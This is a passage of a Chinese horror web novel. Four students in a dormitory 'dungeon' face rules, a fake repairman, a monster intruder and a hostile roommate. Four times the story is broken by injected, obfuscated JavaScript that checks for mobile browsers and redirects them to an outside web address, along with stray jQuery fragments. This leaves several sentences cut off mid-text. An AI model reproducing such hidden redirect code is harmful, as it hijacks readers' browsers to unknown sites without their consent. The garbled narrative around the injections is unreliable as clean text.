“已收到报修信息,正在处理中……” 关掉手机弹窗,舒怀瑾正想去检查一下窗子的锁,却发现孙嘉的妈妈把孙嘉的床铺好以后,又往第六张床上扔了铺盖。 “阿姨,你这是在干什么?” 低头查看手机信息的另外三人也抬起了头。 孙嘉妈妈拍拍手,直起腰理所当然道:“当然是给我自己准备床位啊。为了让我家孙嘉学习更好,我得陪读。” “陪读?”邓溪明不可置信——这个词对于大学生来说还是过于小众了。 “干什么用这种眼神盯着我?上个大学还把教养丢了吗?”孙嘉妈妈见邓溪明表情夸张,白了她一眼就继续自顾自地收拾东西。 邓溪明一向不善于和人争辩,何况对方年纪比她大。她只好将求助的目光投向舒怀瑾。 舒怀瑾朝她颔首,随即拿出手机拨打了宿管阿姨值班室的座机电话。 这个副本里既然有辅导员,那么宿管阿姨大概率同样存在。 短暂的铃声过后,电话接通。 “喂?宿管阿姨您好,我是咱们宿舍楼404寝室的学生,想向您求助。我们宿舍里闯进来了一个陌生中年人,而且对方一直赖在我们宿舍不走。您看能不能上来一趟,把这个人给带走?……嗯嗯好,谢谢您。” “谁闯了?谁赖着不走了?我这是合法合规的!你这小姑娘家家嘴怎么这么脏呢?” 听见舒怀瑾的话,孙嘉妈妈嚷嚷着就要上来抢手机,却被江贮月拦住了。 她使劲想推开江贮月,却发现这个高个姑娘像一座大山一样矗在她面前,岿然不动俯视着她。 “怀瑾,你不怕违反守则吗?”程映雪凑到舒怀瑾身边悄悄问道,有些忧心地看向一旁躺在床上玩手机的孙嘉。 她妈妈要是被驱逐出去,不知道孙嘉会不会不高兴。 “应该不会违反。”舒怀瑾将电话挂断,目光从正在剔牙的孙嘉身上挪开,“目前出现的守则只说不能和舍友闹僵关系,但她妈妈又不是我们舍友。更何况,看孙嘉的表现,她也不是很在乎她妈。” 先前她拽住孙嘉妈妈的手时,孙嘉并没有上前分开她们俩。而现在她妈妈明显和别人起了矛盾,孙嘉也没有出头的意思。 被“陪读”的孙嘉,或许也不是那么想活在母亲强加的羽翼之下。 这边孙嘉妈妈还在做无谓的挣扎,招呼她那正不耐烦地翻身面对墙的女儿下床来帮帮自己,下一秒宿管阿姨便抵达战场。 “原来是你啊。你不是说上来帮女儿放东西就走的吗?怎么还赖别人宿舍了?” 宿管阿姨一推门,一叉腰,眼神炯炯看向孙嘉妈妈。 虽然在这个副本中,原本制服干净整洁的宿管阿姨变成了邋里邋遢的模样,但幸好她还是像现实中一样富有责任心。 孙嘉妈妈眼珠子乱撇,开腔道:“哪有啊,只不过今天晚上太晚了,反正她们宿舍还有空床,我在这小住一会儿,小住一会儿……不打紧的。” 宿管阿姨抱胸看向她,壮实的大臂凸起肌肉的线条:“闲杂人等不可以入住学生宿舍,包括家长。请你出去。” 与此同时,地板上又浮现了一行守则。 【表世界守则】 四、宿管阿姨会保证住宿生的安全。遇到危险请拨打宿管阿姨值班室的座机电话,但最好祈祷宿管阿姨当时没有在交班。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593662|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四人暗自记下。 原本颐指气使的孙嘉妈妈被宿管这么一说,居然灰头土脸地开始收拾东西。 没过多久,她就收好了东西,一步三回头地拖着铺盖往门外走:“女儿啊,妈妈不能继续陪你了,你一定要自律啊,一定要好好学习啊,这样才不辜负妈妈把你养大的苦心啊……” 直到宿管阿姨和她的身影消失在楼道内,孙嘉也没有转过身来看她妈妈哪怕一眼,依旧是背对众人刷着手机。 “还会有第六个舍友吗?”程映雪指向空荡荡的六号床。 舒怀瑾摇摇头:“不清楚。” 这次的副本比起前几个副本来说,起始难度确实不大。但与之相对应的是,她们完成任务的剧情推动力也少了许多。 第一个副本中有上车的乘客与怪物带来线索;第二个副本中她们则作为囚犯被安排好了接下来的一举一动;第三个副本中开局任务更是浅显易懂,毕竟身为小鼠,不从鼠笼里逃出就只有死亡这一个结局。 但她们现在所处的副本情景是四人熟悉的宿舍,而且通关条件中提到的“课堂作业”此时也没有任何信息指向。 她报修时顺便查看了教务系统中的课程表,但好巧不巧,课表功能正在维修,根本无法显示。 这样一来,她们获取相应课程上课时间和地点的途径就更为困难了。 此外,通关要求里还加了一个“获得老师的嘉奖”,但老师可不会喜欢迟到旷课的学生。 再加上今晚不知道能不能及时赶到的维修工师傅和守则第一条中指明了的威胁,舒怀瑾四人现在有点像无头苍蝇,不知道该往哪里下手。 “算了,我们分工一下吧。”舒怀瑾打定主意,走向门口,“映雪,你去和教务部老师发信息询问一下课表。贮月,你尝试能不能和同学发消息要到副本信息。溪明,你注意接听维修工的电话,顺便给大家放哨。” 程映雪上前两步:“你呢?怀瑾,你别是要去做什么很危险的事情吧?” “不,我是要去打扫卫生。” 舒怀瑾再也无法忍受这间屋子的环境,从宿舍门外将干巴巴的拖把拿了进来,打开浴室的门就要放水洗拖把。 她忍着浴室内熏天的臭气,拧开了水龙头。 源源不断的红色液体从生锈的水龙头中涌出。 40. 表里世界3 一瞬间天旋地转,舒怀瑾只感觉空荡荡的身边仿佛站满了人,灵魂缠绕着她的脖颈,不绝的絮语在她耳边飘荡。 砰然一声重物坠地的声音贯穿了她的耳道,接踵而至的惨叫将她吓得浑身一颤,随即视界恢复了清明。 她略定心神,低头一看,才发现喷溅而出的红色液体已经在顷刻间填满了浅浅的浴室防水底,涌动着溢出了浴室门槛。 刺目的红在地板上蔓延,正在寝室中央的邓溪明也被这状况吓了一跳,连忙凑上来查看舒怀瑾是否安好。 舒怀瑾除开受了片刻的惊吓,倒是没别的不适。她没见新的守则出现,便立即将水龙头关上,接着一拖把头戳进了浴室外蜿蜒的水流中。 原本干巴巴的海绵拖把很快就吸饱了水,灰色的拖把头上逐渐染上脏兮兮的红色。 拧干,吸水,再拧干,再吸水。 地板上的水明明不多,但舒怀瑾拖了四五遍后,水渍竟然半点没有减少。 她只好将拖把往墙边一靠,微微弯下身子来扇闻那红色液体的味道。 没有味道。 她正疑心着这是否又是副本的某种重要道具,门外却突然传来一阵脚步声。 “404寝室,我是来维修的。” 来人是一名微胖的男性,身着一身绿色工服,斜挎着一个棕色工具箱,抹了把汗停在了宿舍门外。 邓溪明刚想招手让他进来,舒怀瑾却朝她使了个眼色,压下了她正欲举起的手。 “他的工服不对劲。” 另外三人定睛一看,才反应过来其中猫腻。先前宿管阿姨的制服与辅导员的着装都与现实世界无异,但门前的这位维修工身上的服装却和平日里维修工红色的工服大相径庭。 而且,这名“维修工”到了宿舍门前,并不像以往的维修工一样打了招呼就进门。他在原地站定,仿佛等待她们邀请他进入宿舍一般,实在有些不寻常。 “咱们先别理他。” 舒怀瑾和舍友们一边在脑海中交流着,一边用余光观察着那名维修工的动向。 他见众人不理他,似乎也不恼,只是带着标准的微笑默默等待着,一双眼睛透过镜片折射出奇异的光芒。 双方就这样僵持着,直到邓溪明的手机来电铃声响起。 她一愣,赶忙拿出手机来接通了电话。 手机中传来一道沉稳的女声。 “同学你好,我已经接到了你们的维修订单,将在五分钟后□□,请问方便吗?” 邓溪明瞄了一眼门外的绿装维修工,小声回道:“可以的,我们在宿舍。” 对面答了一个“好”字,随后便挂断了电话。 她将手机放回口袋中,一抬头却正好和绿色维修工探究的眼神对上。 对方微笑的嘴唇用力往两边一扯,裂帛般一声清脆的响后,他的嘴角撕开两道长长的裂痕,殷红的血丝蠕动着从伤口钻了出来。 邓溪明心中发毛,暗骂一声急忙将目光撇开。 但那道目光有如实质一般粘附在她的面颊上,她不必回头都能感受到那阵阴寒。 她咬紧牙关,手中攥紧了一座小小的罗汉铜像——假如对方发动攻击,她或许可以趁此机会试一试上个副本结算里刚获得的道具。 另外三人也不敢错眼地关注着门外的动静。一片寂静中,只有孙嘉在床上“咔擦咔擦”吃薯片的声音。 幸而那个所谓的维修员只是看起来吓人,并没有直接伤害四人。他听见楼道里传来的脚步声,“啧”地歪了一下嘴,便转身离去。 结合守则来看,或许在十点以前,无论是否关好门,寝室都是一个天然的庇护所,而鬼怪需要达到特定条件才能进入寝室。 四人正各自思索时,门的方向传来了敲门声。 门口,一位身着红色维修工服的女性正了正帽子,迈步跨进门槛:“嗨,同学们,我是来给你们修门的。” 她迎着四人的目光进门后干脆利落地转身,对着门拨弄了几下门锁后直接从背着的工具箱中拿出了一个电钻。 在滋滋的电钻声中,她红色的工服背后逐渐显现出一行黑色的字。 【表世界守则】 五、所有人都必须着装符合身份。如果遇见身份和着装不符的人,请立即拨打保卫处电话010-588677。 目光触及这一行守则,舒怀瑾的心却是一沉。这条守则虽然提供了如何对付像先前冒名前来的绿装“维修工”这一类人的方法,却同样对她们提出了一个新的生存条件。 她蹙眉转向另外三人:“它并没有说什么服装符合我们的身份。” 除了江贮月外,程映雪和邓溪明都有些沉默。 江贮月不解:“我们是大学生,按理来说穿什么都符合身份的吧?” 在大学校园中,至少在舒怀瑾她们的学校里,学生们的穿衣风格主打一个“她/他这么穿一定有她/他的道理”。只要不是违背公共场合文明道德底线的装扮,大学生们一般都会怀着peace与love,接受他人外形的多样性。 话虽如此,可那都是现实世界的情况了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593663|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们现在身处于副本世界中,谁知道问卷会给她们设定什么限制条件呢。 四人讨论之间,修门乒乒乓乓的声音慢慢停了。维修工直起身子拍拍手,转身面向四人道:“修好了,给你们换了新锁。这是新钥匙,你们拿好。” 六枚锃亮的钥匙被放在了舒怀瑾摊开的掌心上。 检查无误后,维修工正打算离开她们寝室前往下一个工作地点,却被舒怀瑾叫住了。 “师傅,我们浴室好像漏水诶,怎么拖都拖不干净。您能帮我们看看吗?” 她回过身顺着舒怀瑾的手看向浴室外的地板,入目是一片鲜红。但她并没有露出惊讶的神情,而是神态自若地进了卫生间,查看水表是否正常。 读数稳定,看来漏水并不会造成学生们的经济损失。 她心下了然,向四人摇摇头:“你们宿舍的这个问题,这栋楼大多宿舍都有。你们楼层稍微高一些还好,楼下的宿舍因为楼上漏水,天花板都掉得不剩几层皮了。” “但是这个问题不好解决。因为你们这是埋在浴室底下的水管出了问题,如果要维修的话,需要将浴室下一整块水泥地都撬开。” “这个工期比较长,你们如果决定要修,估计就得先搬到另一个房间去了。”她顿了顿,“……你们这栋宿舍楼还有空房间吗?” 舒怀瑾摇摇头。据她所知,她们宿舍楼人员已经饱和了,未来一年内都不会再有空位。更何况,在副本里换宿舍,还不知道会发生什么事情。 维修工颇为可惜地耸肩:“那你们要是搬不了的话,能忍就忍吧。我先和上面的人反馈一下这个问题。” 她拿出手机来对着地板拍了一番。舒怀瑾就站在她身侧,因此瞥见了她的手机屏幕——地板上看起来是红色的水,竟然在照片中都是无色的。 “我的钥匙呢?还不快给我?” 舒怀瑾目送维修工离开时,孙嘉中气十足的声音从床上传来。她一转头,孙嘉正撅着嘴看向她,手心向上。 六枚钥匙,按理来说也应有她一份。 舒怀瑾将钥匙抛向孙嘉,后者显然有些吃惊,胳膊扑腾了两下才接住钥匙。 这么容易就把钥匙给她了?倒也算是个聪明之举。孙嘉将这枚亮闪闪的钥匙吞进了肚子里,心中反而感到有些没趣。 之前遇见的其他“舍友”,总喜欢找各式各样的借口扣押她的钥匙,简直让她胃口大开。 孙嘉舔了舔沾满薯片上盐粒的手指,腹中发出咕噜的声响。 今天晚上,不知道能吃几个呢? 41. 表里世界4 “这是这周的课表。” 过了下午五点,教务部老师早已下班,因而程映雪询问教务部老师课表无果,只好转而联系辅导员。幸而辅导员联系上了教务部,将教务部老师的信息传达给了舒怀瑾四人。 四人见到这份课表的第一反应都是两眼一黑。 假如没有辅导员的存在,她们看着眼前这份被安排得满满当当的课表,几乎都要以为她们此时上的是高中而不是大学。 根据课表,每天8:00~12:00、2:20~6:10和7:00~9:35都是教学时间,每周上五天满课,周末还有形势与政策课以及心理课。 明天是周一,上午的课分别是动物学和植物学。下午的课则是动物学实验课大课,从下午两点一直上到六点十分。晚上是植物学实验,从晚上七点上到九点三十五。 江贮月:谢谢,看到这个课表已经想紫砂了。 课表中的课程名称下方还注明了上课的教室。但与现实世界不同的是,这些教学楼的名字前,还缀了一个“里”字。 结合这个副本的名称,不难猜测出一个令人不想接受的事实——上课地点是在里世界。 程映雪脸色发白:“这个里世界,该不会是《寂静岭》里的那种吧?” 前段时间程映雪为了练胆,观看的影片中就包含《寂静岭》。在这部影片中,里世界黑暗无光,各种嗜杀的怪物游荡着,给铁网铸就的世界蒙上尸油和血液。 要是她们要在这种地方上课,上的还是五天满课……那真是地狱到家了。 舒怀瑾思忖:“不好说。在《寂静岭》的设定中,里世界会显化进入者所恐惧的东西,但副本这个里世界的设定不一定相同。” 然而里世界究竟是什么样,再多恐吓自己也毫无益处。目前当务之急是要知道如何进入里世界、了解外面的情况,以及找出合适的着装。 “贮月,你那边有信息吗?” 江贮月点头:“我正想说。” “好消息是,我有认识的人和我们在同一个副本。她们通过技能得到的提示说,里世界的开启方法会在每天早上八点通过手机发放。” “至于合适的着装,大家目前也都一筹莫展。” “但坏消息是,我发现我能联系上的同学,不一定就是同学本人。也就是说,我们上一个得到的信息可能是假的。” 邓溪明:“什么意思?” 江贮月将手机一递:“你们看。” 邓溪明凑上前,江贮月手机屏幕上的聊天记录瞬间吸引了她的注意:“这个人为什么一直劝你穿T恤和短裤?” “对,很奇怪。”江贮月皱眉,“我和她认识挺久了,她不是一个喜欢钻牛角尖的人。所以我就问了她一些我们之间发生过的事情,但她居然全都回答不上来。” “……假如在网上遇到的不是本人的话,那么在现实中遇到的会不会也不是本人呢?” 也就是说,在这个名为“表里世界”的副本中,可能生活着和她们原本熟悉的同学们外貌完全一致的原住民。 舒怀瑾的话让大家有些慌张地相互看了看——如果有这个可能的话,现在她们也无法保证身边的舍友就是真正的舍友。 程映雪在手机上急急发送了许多消息,随后将宿舍门关紧后倒锁,深吸一口气:“守则说辅导员的话都是真的,所以我刚刚已经向辅导员询问了进入里世界的方法以及着装标准的问题了。” “在等待辅导员回消息的时候,我们先来自证一下身份吧。” 她话音刚落,江贮月率先回应:“我先来。” “大一的时候,我帮助外校的一个女生抵挡持刀歹徒时不小心用棍子把对方打成了四级脑震荡,幸好算的是正当防卫,学校还给我颁了个见义勇为奖。” 事实的确如此,江贮月没问题。 舒怀瑾:“我刚入学那年为了省钱曾经吃了一学期馒头作早餐,这学期初还买到了一个只要十块钱却有五房饱满果肉的小榴莲,绝赞性价比!” 另外三人扶额:抠门是你的天性,我了解。 程映雪:“我上学期在学校里喂猫咪的时候被咬了,去医院打狂犬疫苗的时候向舒怀瑾借了两百块钱。” 正确的。 三双眼睛齐齐看向最后一个还没说话的人——邓溪明冥思苦想了好一会儿该怎么证明自己,最终才有些羞赧地开口。 “我想做富家大小姐的小跟班。” 即使是听邓溪明说这话说过不少次,三人还是忍不住笑出了声,霎时冲淡了不少紧张的氛围。 “笑什么笑!吵死了!我要睡觉了,你们全都把嘴给我闭上!” 孙嘉陡然一声爆喝砸向了她们。她听不见她们在脑海内的对话,只是看着她们四人莫名其妙地对视着,沉默了许久,然后忽然大笑起来,一瞬间甚至有些怀疑她们和自己到底谁才应该害怕。 预想中四人的反驳并没有随即响起。她们的笑容收敛了起来,表情依旧平和,舒怀瑾甚至还对她道了个歉。 孙嘉大惊失色。她还是第一次遇到对面四个人全是怂包的情况,居然没一个人给她继续生气的台阶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593664|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,这样她还怎么达成杀人条件啊! 舒怀瑾四人:谢谢,并不想挑战守则权威。 孙嘉只好恨恨地瞪了几人一眼,裹了裹被子气鼓鼓地背过身去。 等着瞧吧,现在已经九点五十了。等十点一过,她一定要将局势逆转。 孙嘉这边的心路历程并没有被舒怀瑾四人捕捉到,她们此时正热火朝天地讨论着辅导员回复的信息。 里世界的开启方法的确会在每天早上八点通过手机发放,而副本中的校园地图也和现实生活中别无二致。此外,次日所谓“正确的着装”将会在每天晚上十一点钟由学校公众号公布在推文中,十二点该推文则会准时删除。 “这个安排实在是贴合现实,够阴间,够烦人。”四人对讨论下了总结。 晚上九点五十五,一段血红的字浮现在宿舍生锈的铁门上。 【表世界守则】 六、好学生从不晚睡。请各位学生不要串门,一定要在二十二点前关灯上床,拉好床帘。注意,一张床无法同时承载两个人。 剩下的五分钟时间一下子变得无比珍贵。四人读了这条守则后立即收拾好书包,迅速爬上了床。 根据“鬼不能伤害被窝里的人”原理,床才是最安全的地方——程映雪一边这样宽慰着自己,一边打开了手机,将屏幕调到了最低亮度。 每次翻身,老旧的床都会发出声响。因而她在床上十分克制地躺着,一片安静中却忽然听见门锁发出“当”的一声响。 那绝对不是用钥匙开锁的声音,而是将插销从内推开的声音。 时针在下一秒指向十点。孙嘉在黑暗中钻进了床帘,戏谑的笑声在宿舍内游动着。 守则三:十点之后请锁好宿舍门窗,否则请小心床头,那里或许有一双眼睛。 门在吱呀声中被夜风缓缓吹开,有人踮着脚走进了宿舍。 “有人进来了!”邓溪明的声音在脑海中响起。 没有人敢轻举妄动。床帘已经是她们最后一道屏障,此时发出声音并不是明智之举。 程映雪的床位离宿舍门最近,因而她清楚地听到脚步声落在了她的床边。 床帘微微地动着,尚未拉好的缝隙间透出隐隐的月光,布料的摩擦声在狭窄如棺材般的空间中窃响。 摩擦声忽然停止了,月光也骤然消失,床帘中再次陷入一片黑暗。 程映雪寒毛倒立,身体几乎止不住地颤抖。 没有光并不意味着门关上了,而是意味着,有什么东西正贴在床帘的缝隙上,窥视着她。 42. 表里世界5 不能慌,她此时绝对不能出声。 程映雪听见自己的心脏在胸膛中狂跳,老旧的床架随着她无法控制的颤抖而微微作响。 就在她屏气凝神之际,身下薄薄的床板被人猛力一捶,腐朽的木质沿着刻意的划痕乍然崩裂。 “啊!” 程映雪被这突如其来的变故吓得惊叫一声,随即恐惧地捂住了自己的嘴。 “怎么回事?”舒怀瑾在脑海中焦急问道。 但程映雪此时已经无力回复,她的喉头不断涌上惊惧到极点带来的干呕欲望。床帘外近在咫尺的东西听见她的叫声后,兴奋地发出粗重的呼气声,长长的指甲不断在金属床架上刮出刺耳的噪音。 声音离她的头部越来越近,她甚至可以听见蚊帐外口水吞咽的声音。 她在黑暗中瞪大了双眼,哆嗦着将背部往墙面上靠,试图离床边的东西远一些,却猝然发现床帘缝间有一颗鼓胀的头压在蚊帐上,网面向着她的方向凸起,如肿瘤一般可怖。 两颗混浊的眼珠转向她的方向。 “找到你了。” 低哑的男声在她耳边炸响。 下一秒,一条手臂透过床帘直直捅破了蚊帐,冲向她的面门! 要死了吗?生死之间,程映雪身体僵直,已无力躲避这致命一击,短暂一生的走马灯似乎已经在她眼前流转。 “护!” 奇怪……怎么好像听到了邓溪明的声音? 她通体突然金光大盛,但入侵的手在下一秒朝她脖颈一抓,金光就陡然消散。 “道具效果是一次性的,快跑!” 江贮月的叫声唤醒了她的求生意识,她随即仓惶逃向床的另一端,与第二次袭击的手堪堪擦身而过。 舒怀瑾眼见着那怪物即将对身形不稳的程映雪发动第三次攻击,“唰”地一声拉开窗帘,豁出去般大喝一声:“朝我来!” 她真的很怕死,但情况紧急,她又有一定的自保能力——她做不到对同伴见死不救。 黑暗中如泥团一般的人形怪物显然注意到了这条自投罗网的小鱼,一转身就要朝声源处出手。 舒怀瑾咬牙,举着移液枪,试图对准怪物扣下按键。 “妖魔鬼怪快离开!”程映雪的声音适时响起。 一道绿光从她手中的河豚干中发出,霎时笼罩了床外肥胖的怪物。后者仿佛被绿色黏液包裹,如燃烧的符纸一般挣扎着消散于绿光中。 【道具:河豚干】 【简介:老爹的河豚干,将河豚吻部对准需要驱散的对象,念出“妖魔鬼怪快离开”即可生效。】 直到怪物的最后一片衣角都消失殆尽,室内重归于黑暗,程映雪才如脱水的鱼一般瘫在床上,冷汗淋漓。 危机暂时解决,她的脑海中自动开始复盘方才的每一个细节。 门开时孙嘉的笑声仍在耳边回荡,从内而开的锁销与床下突如其来的锤击更是证实了孙嘉的内鬼行为——她那从桌子变为床铺的下铺上,躺着的正是孙嘉。 虽然孙嘉本来就和她们不是一个阵营的,也算不上所谓的“内鬼”。 只是,放任这么一个会捣乱、还有可能暴起吃人的“舍友”与自己朝夕相伴,想来还是太过荒谬。 有什么方法能阻止孙嘉吗? 她将自己的想法告知了另外三人。 “你的河豚干对她无效。”舒怀瑾斜睨一眼在对床下铺完好无损的孙嘉,“守则只说不能和舍友闹僵关系……既然如此,让她不再是我们的舍友就好了。” 当守则要求和生存需求有冲突之时,副本必然会给规矩间留下一些灰色地带。否则这和让她们送死并无分别,问卷也不必如此大费周章弄出这一系列流程。 杀死孙嘉可能有些麻烦,但让辅导员同意将孙嘉调离404寝室应当不是难事。 目前的证物有程映雪碎裂的床板和依旧有一块凹陷的宿舍大门——破坏学校公共物品,这可不是学院希望看到的。 不过现在时间太晚了,向辅导员投诉孙嘉应该不太可行。今晚只能多加注意孙嘉,等明天再行动。 江贮月放下手机:“我刚刚打了宿管阿姨的电话了,她过会儿就到。” 即使是怪物消失以后,鉴于守则要求,四人还是不敢轻易下床,只能等待宿管阿姨前来关门。 威武的宿管阿姨依旧令人非常有安全感,不仅把宿舍大门关上了,还贴心地将自己的备用蚊帐送给了程映雪。程映雪对此几乎是感激涕零。 商议过后,她们决定轮流值守夜班。好在后半夜里,孙嘉似乎也因为忌惮守则而没再下床,此后的几小时内风平浪静。 …… 凌晨三点,舒怀瑾正强打着精神值班,忽然听见一阵木床的摇晃声,随即有人趿拉着拖鞋蹭过地面。 有人起来了。 脚步声延伸到了门口,随后“啪”的一声,那人把宿舍大灯打开了。 宿舍内立即亮如白昼。即使是有床帘的遮挡,无孔不入的光还是将本就睡得不甚安稳的程映雪晃醒了。 “这是怎么了?”程映雪迷迷糊糊地揉了揉眼睛,打了个呵欠。 床下的红色人影显然是孙嘉。但她并没有理会程映雪的询问,而是径直回到床位旁,打开了她的行李箱,从里面搬出了一个上了锁的金属箱子。 十点以后开门既然无法激怒她们,那凌晨打砸东西总能让她们烦躁吧。她就不信这几个人中没一个有起床气。 孙嘉得意洋洋地想着,手臂一抡就将锃亮的金属箱子“哐当”一声甩到地上,随后开始用从喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593665|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里抠出来的钥匙尝试开锁。但满是黏液的钥匙无论如何也无法开启箱子,孙嘉神色剧变,直接举起箱子就往地上一遍遍地砸。 “打开!打开!” 震天的声响如破锣一般,将剩下睡得正香的两人吓得一激灵,瞬间从床上弹射了起来,慌张地拉开了床帘。 她们看了一眼正在床下发疯的孙嘉,又看了一眼同样茫然的程映雪和眉头能夹死苍蝇的舒怀瑾,面面相觑。 江贮月和邓溪明:啊? 实际上孙嘉这次又失算了。404寝室中只有舒怀瑾一个人有起床气,但她自愿起来值班还没多久,现在看着孙嘉像小丑一样表演,实在是生不起气来。 “她好吵,这样会影响到周围宿舍的休息吧?”程映雪在脑海中幽幽开口。 “不急,周围宿舍里住的未必是人。” 程映雪:“怀瑾,可以不要用这么平静的语气说这么恐怖的话吗?” 舒怀瑾借着床帘的掩护,打开手机摄像软件,对着砸得正起劲的孙嘉开始录像。 屏幕中,面色灰败的孙嘉身着一身白衣,正咧开惨白的嘴唇,在一派整洁的宿舍中不断摔打着外皮生锈的箱子。 箱子将地面的瓷砖撞击出蛛网一般的裂痕,虫子的残肢从变形的箱子开口间掉落,才触及地面就被砸下来的箱子碾成了肉泥。 舒怀瑾虽然早已知晓手机所照出来的世界与眼见不同,但见到箱子里的东西时还是有些惊讶。 用肉眼观察,箱子内漏出来的东西,分明只是几粒稻米与黑豆。 作为一个标准的饭桶,舒怀瑾的第一反应竟然是——食堂里的饭菜还能吃吗? 不过好在她们进副本前已经带够了食物,一时间倒不必担心会饿到吃副本里本质不明的食物。 估摸着时长差不多了,舒怀瑾将录像截止,手机收好,一把拉开了床帘。 砸得气喘吁吁的孙嘉听见声音,眼神一亮就抬头看向舒怀瑾,手里的箱子也被随手丢在了地上。 要来了吗?要来了吗?狠狠地骂我吧!我已经饿了一晚上了! 谁知舒怀瑾垂下眼皮,状似心疼地捂着胸口,嗓音轻柔:“啊,孙嘉,我的好舍友。你一大早就起来锻炼,早餐都没吃,现在一定很累吧。” “我真心敬佩你,你有毅力,有实力,还努力,大家都该向你学习才是。”舒怀瑾眼神亮晶晶地看向孙嘉,“别人都不懂你的辛苦,但我懂。让我来帮你吧。” 在舒怀瑾的微笑攻势下,孙嘉愣愣地点了点头。 孙-鲜少和人交流-嘉:我也想生气的,但她在夸我诶。 舒怀瑾保持微笑,端起移液枪,精准发射出一枚枪头。刹那间锁头碎裂,箱子中泄出一摊杂粮。 “解决啦,亲爱的舍友。” 43. 表里世界6 孙嘉完全安静下来了。 按理来说,她的锁被打坏后她应该生气的,这样她就可以顺利吃人了。 但碎裂的锁头此时正“滋滋”地冒着黑烟,让她不得不重新审视起自己和面前四人的实力差距。 她虽然算不上人,可也算不上鬼怪,自然不怕先前程映雪的河豚干。但作为一名有实体且受校园规则束缚的学生,她的直觉告诉她,那个枪头足以令她痛到灵魂出窍。 算了,留得青山在,不愁没柴烧。这几个人吃不到,就饿几天算了。 反正后面还会有新的舍友住进来送死。 她打定主意,决心做一只鹌鹑。 舒怀瑾见她没什么过激反应,心下也是松了一口气。 根据傍晚的经历,她初步判断孙嘉的能力并不算太强,至少大多情况下都受到副本守则的限制,无法随意攻击她们。因此,她用移液枪打开孙嘉的箱子也的确有威慑的意味,让孙嘉意识到她们并不是任人拿捏的软柿子。 最差的情况就是孙嘉因此而勃然大怒,不管不顾地开始攻击她们,如此四人必得经历一番苦战。 幸而这步险棋有效。 另外三人见此,默默给舒怀瑾竖了个大拇指,随后倒头就睡。 此后无事至天明。 …… 早上七点,比舒怀瑾设置的手机铃声响得更早的,是一段嗓音粗哑的小曲。 “我爱早八,我爱早八~早八早八要要要!” “我爱早八,我爱早八~早八早八妙妙妙!” 某仔旗下O泡果奶电视广告洗脑的调子配上被魔改的歌词,在狭小的宿舍内加满了音量持续播放,欠揍程度简直拉满。 舒怀瑾习惯性一翻身摸到手机,手指一划试图关掉闹铃。然而声音并没有随之停止,还是不停歇地唱着。 “上五天早八,让精神好好~” “上五天早八,让绩点高高~” 怎么回事? 她仍未完全清醒,将手机贴进耳朵一听。 这烦人的音乐的确是从她的手机里传来的,但她手机上分明没有这种闹铃。况且,舒怀瑾翻来覆去将所有能按的按键都按了,这铃声也从未有过一刻停滞。 “我爱早八~我爱早八~我爱早八~我爱早八~” “五天早八~我~还要!” 至此,这阵魔性的歌声才停下了它用歌喉攻占404寝室全员耳朵的宏图大业。 被闹得完全清醒了的江贮月声音几乎是生无可恋:“怀瑾,你的爱好还挺独特的。” “……不是我设置的,而且关不掉。”舒怀瑾也回过神来,“副本控制了我的手机吗?” “你们看天花板!” 众人沿着邓溪明指的方向看向扑簌簌掉灰的天花板,上面逐渐浮现出新的守则。 【表世界守则】 七、作为大学生的义肢,手机是你们在校期间决不能丢下的重要工具。请时刻关注老师们的信息,确保你能及时完成老师的任务。 舒怀瑾立即解锁手机屏幕,上面突兀地弹出了一段文字: 【你是一名尽职尽责的宿舍长,热爱学习,且关心舍友。今天是你们上学的第一天,你早已向老师承诺,自己将会带领全宿舍的同学准时到达课室。】 【现在,请立即行动起来吧!】 【——发自动物学老师】 舒怀瑾:……谁家好宿舍长还管这个? 但现在也的确是时候准备出发了。 “贮月,你昨晚看到的着装要求是什么?” 昨晚安排守夜时间时,作为首位值班的人,江贮月将记下十一点发布的着装要求这一任务一并揽下了。 